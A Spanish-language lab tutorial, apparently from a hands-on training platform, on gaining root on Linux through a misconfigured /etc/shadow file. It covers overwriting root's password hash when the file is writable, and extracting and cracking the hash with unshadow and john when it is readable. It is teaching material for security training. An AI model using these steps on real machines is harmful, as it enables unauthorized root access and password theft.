Introducción
Los sistemas Linux dependen de los archivos /etc/passwd y /etc/shadow para la autenticación de usuarios y el control de acceso. Si los administradores del sistema configuran incorrectamente los permisos o el contenido de estos archivos, puede crear oportunidades para ataques de escalada de privilegios. En este laboratorio (lab), aprenderá cómo aprovechar el archivo /etc/shadow para obtener privilegios de root en un sistema Linux. Este escenario asume que ya ha obtenido acceso inicial a una shell (terminal) con privilegios bajos como usuario normal.
Comprender el archivo /etc/shadow
En este paso, aprenderá sobre la estructura y el propósito del archivo /etc/shadow.
El archivo /etc/shadow almacena contraseñas cifradas y información de configuración relacionada con las contraseñas para cada cuenta de usuario. Cada línea en el archivo representa a un usuario y contiene 9 campos separados por dos puntos:
- Nombre de usuario
- Hash de contraseña cifrada
- El número de días desde la época (1970-01-01) en que se cambió la contraseña por última vez
- El número mínimo de días requeridos entre cambios de contraseña
- El número máximo de días que la contraseña es válida
- El número de días antes de la expiración de la contraseña para avisar al usuario
- El número de días después de la expiración de la contraseña antes de que la cuenta se deshabilite
- El número de días desde la época (1970-01-01) en que la cuenta se deshabilitará
- Un campo reservado para uso futuro
Abra una terminal y navegue hasta el directorio /home/labex/project.
cd /home/labex/project
Veamos la entrada del usuario labex en el archivo /etc/shadow:
sudo cat /etc/shadow | grep labex > /home/labex/project/labex_shadow.txt
Tenga en cuenta que usamos sudo para leer el archivo /etc/shadow. Esto se debe a que el archivo solo es legible por el usuario root.
Verifique el contenido del archivo labex_shadow.txt:
cat labex_shadow.txt
Ejemplo de salida:
labex:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8:19818:0:99999:7:::
Esta línea indica:
- Nombre de usuario:
labex - Hash de contraseña cifrada:
$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8 - Último cambio de contraseña: 19818 días desde la época (1970-01-01)
- Edad mínima de la contraseña: 0 días (sin restricción)
- Edad máxima de la contraseña: 99999 días (sin expiración)
- Período de advertencia de contraseña: 7 días antes de la expiración
- La cuenta nunca expira
Por defecto, solo el usuario root puede leer y modificar el archivo /etc/shadow. Sin embargo, permisos mal configurados a veces pueden brindar oportunidades para la escalada de privilegios.
Elevar privilegios con acceso de escritura al archivo /etc/shadow
En este paso, aprenderá cómo escalar privilegios modificando la contraseña del usuario root en el archivo /etc/shadow si tiene acceso de escritura a él.
Primero, abra una terminal y navegue hasta el directorio
/home/labex/project:cd /home/labex/projectEncontrará un script llamado
env_setup_1.shen el directorio. Ejecute este script para configurar el entorno:./env_setup_1.shEsto configurará el entorno y lo cambiará al usuario
user001, simulando un acceso inicial a una shell (terminal) con privilegios bajos.Navegue hasta el directorio de inicio del usuario
user001:cd ~A continuación, verifique los permisos del archivo
/etc/shadow:ls -alh /etc/shadowEjemplo de salida:
-rw-r----- 1 user001 shadow 1.2K Apr 6 19:16 /etc/shadowDebería ver que el usuario
user001tiene acceso de escritura al archivo/etc/shadowdebido a unamal configuración.Ahora, puede editar el archivo
/etc/shadowy reemplazar el hash de la contraseña del usuario root con uno nuevo.Primero, vea el hash de la contraseña actual del usuario root:
cat /etc/shadow | grep rootEjemplo de salida:
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::Para establecer una nueva contraseña (por ejemplo,
pass123), genere un nuevo hash de contraseña utilizando la utilidadopenssl:openssl passwd -1 -salt ignite pass123Ejemplo de salida:
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1Abra el archivo
/etc/shadowen un editor de texto y reemplace el hash de la contraseña del usuario root con el nuevo.nano /etc/shadowEncuentre el hash de la contraseña del usuario root:
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::Reemplace el hash de la contraseña con el nuevo:
root:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:18167:0:99999:7:::Guarde los cambios y salga del editor.
Finalmente, use el comando
su rootpara cambiar al usuario root, ingresando la nueva contraseñapass123cuando se le solicite.su root
Ahora debería tener privilegios de root en el sistema.
Elevar privilegios con acceso de lectura al archivo /etc/shadow
En este paso, aprenderá cómo escalar privilegios descifrando el hash de la contraseña del usuario root si solo tiene acceso de lectura al archivo /etc/shadow.
Después del último paso, debería seguir siendo el usuario root. Puede abrir una nueva terminal o usar el comando exit para cerrar la sesión del usuario actual hasta que llegue al usuario labex.
Cuando esté como usuario
labex, navegue hasta el directorio/home/labex/project:cd /home/labex/projectEjecute el script
env_setup_2.shpara configurar el entorno:./env_setup_2.shEsto configurará un nuevo entorno donde el usuario
user001tiene acceso de lectura al archivo/etc/shadow.Navegue hasta el directorio de inicio del usuario
user001:cd ~Verifique los permisos del archivo
/etc/shadow:ls -alh /etc/shadowEjemplo de salida:
-rw-r--r-- 1 root shadow 1.2K Apr 6 19:19 /etc/shadowDebería ver que el usuario
user001tiene acceso de lectura al archivo/etc/shadowdebido a unamal configuración.A continuación, podemos usar la herramienta
johnpara descifrar el hash de la contraseña del usuario root. Antes de usarjohn, debe combinar el contenido de los archivos/etc/passwdy/etc/shadowusando el comandounshadow:unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txtAhora, ejecute
johnen el archivoshadow_crack.txtpara descifrar el hash de la contraseña del usuario root y guarde las contraseñas descifradas en un archivo:john --users=root shadow_crack.txt > cracked_passwords.txtVerifique el contenido del archivo
cracked_passwords.txtpara ver la contraseña descifrada:Loaded 1 password hash (md5crypt [MD5 32/64 X2]) study (root)Finalmente, use el comando
su rootpara cambiar al usuario root, ingresando la contraseña descifradastudycuando se le solicite:su root
Ahora debería tener privilegios de root en el sistema.
Resumen
En este laboratorio (lab), aprendió sobre la estructura y el propósito del archivo /etc/shadow, así como dos métodos para escalar privilegios aprovechando este archivo: modificar el hash de la contraseña del usuario root con acceso de escritura o descifrar el hash de la contraseña del usuario root con acceso de lectura. Estas técnicas demuestran la importancia de configurar adecuadamente los permisos de los archivos y proteger los archivos sensibles del sistema en un entorno Linux.